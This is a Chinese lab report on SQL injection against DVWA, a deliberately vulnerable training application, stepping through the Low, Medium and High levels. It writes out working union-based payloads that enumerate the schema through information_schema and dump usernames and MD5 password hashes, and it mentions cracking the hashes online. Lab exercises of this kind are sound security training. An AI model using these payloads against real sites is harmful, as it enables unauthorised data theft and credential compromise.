数据库——SQL注入攻击

【实验内容及要求】

一、内容:掌握SQL注入攻击的原理,掌握基本SQL注入攻击的方法,掌握防SQL注入攻击的基本措施。

二、要求:

  1. DVWA环境配置

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。DVWA共有十个模块,分别是:Brute Force(暴力破解);Command Injection(命令行注入);CSRF(跨站请求伪造);File Inclusion(文件包含);File Upload(文件上传);Insecure CAPTCHA (不安全的验证码);SQL Injection(SQL注入);SQL Injection(Blind)(SQL盲注);XSS(Reflected)(反射型跨站脚本);XSS(Stored)(存储型跨站脚本)。在DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible,可以接触一些PHP代码审计的内容。

本实验要求在下载安装并配置好DVWA实验环境,在DVWA中创建数据库,并进行登录。

  1. SQL注入

在DVWA中选择SQL injection,其难度等级分为low、medium、high和impossible。随后根据自身情况进行四种等级的SQL注入实验。

  1. 亦可使用sqlmap来进行SQL注入攻击实验。

【实验平台】

【实验步骤】

一、实验环境的搭建

1.将DVWA安装包解压到如图所示相应位置,并备份修改config.inc.php.dist文件配置,然后将安装包解压。

2.更改文件夹权限,并重启apache服务。

3.登录搭建好的网站,更改配置,然后点击Create/Reset Database登录。

二、Low级别的SQL注入

判断注入点。

找闭合,输入1'报错"You have an error in your SQL syntax";输入1''不报错,说明闭合是单引号。

输入1' or '1234'='1234,获得所有First name和Surname。

输入1' or 1=1 order by 1 #,判断有几个字段;

输入1' or 1=1 order by 2 #;

输入1' or 1=1 order by 3 #,说明SQL语句查询查询的表的字段数为2。

输入1' union select 1,2 #,判断回显。

爆库,输入1' union select 1,database() #,判断使用的数据库。

爆表,输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,获得该数据库的表名。

爆列,输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,获得user表的列名。

输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,获得用户名和密码。

密码均为MD5加密,使用CMD5可进行破解。

三、Medium级别SQL注入

由于界面不允许自行输入,使用BurpSuite进行抓包。

更改为id=4 or 1=1 #&Submit=Submit可获得所有用户。

更改为id=4 order by 2 #&Submit=Submit确定列数。

更改为id=4 union select 1,2 #&Submit=Submit,判断回显。

更改为id=4 union select 1,database() #&Submit=Submit,爆库。

更改为id=4 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&Submit=Submit,爆表。

更改为id=4 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&Submit=Submit,爆列。(其中0x7573657273为users的十六进制ascii码)

更改为id=4 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit,获得用户名和密码。

四、High级别SQL注入

判断注入点。

找闭合,输入1'报错"You have an error in your SQL syntax";输入1''不报错,说明闭合是单引号。

输入1' or 1=1#,获得所有First name和Surname。

输入1' or 1=1 order by 2 #,判断有几个字段;

输入1' or 1=1 order by 3 #,说明SQL语句查询查询的表的字段数为2。

输入1' union select 1,2 #,判断回显。

爆库,输入1' union select 1,database() #,判断使用的数据库。

爆表,输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,获得该数据库的表名。

爆列,输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,获得user表的列名。

输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,获得用户名和密码。

五、Impossible级别

无法注入,因为Impossible级别的源码使用正则表达式过滤掉了不合法的字符。

相关推荐
知行学思10 小时前
Python配置管理完全指南:从dotenv到pydantic_settings
数据库·python·fastapi·环境变量·配置管理·pydantic·dotenv
计算机网恋11 小时前
Ubuntu22.04Server虚拟机网络配置
网络·数据库·postgresql
一只大黄猫15 小时前
【数据库-入门2】基本概念
数据库
简简单单OnlineZuozuo15 小时前
对话式AI的安全和治理模式
人工智能·深度学习·安全·图像识别·banana
实泽有之,无泽虚之16 小时前
MySQL主机因多次连接数据库错误而被阻塞
数据库·sql·mysql
Knight_AL16 小时前
从自然语言到 SQL:为什么向量数据库是更好的选择
数据库·sql
简简单单OnlineZuozuo17 小时前
视觉模型的偏见和捷径测试:来自真实世界实验的实用测试套件
人工智能·深度学习·安全·图像识别·banana
暗流者17 小时前
ctf wiki中kernel pwn 学习编译内核(2026年最新版)
学习·安全·网络安全·pwn
Maybe I Simple17 小时前
MySql 数据库分表 简单思路
数据库·php·webman
智航GIS18 小时前
8.11 sys 模块
数据库·windows·microsoft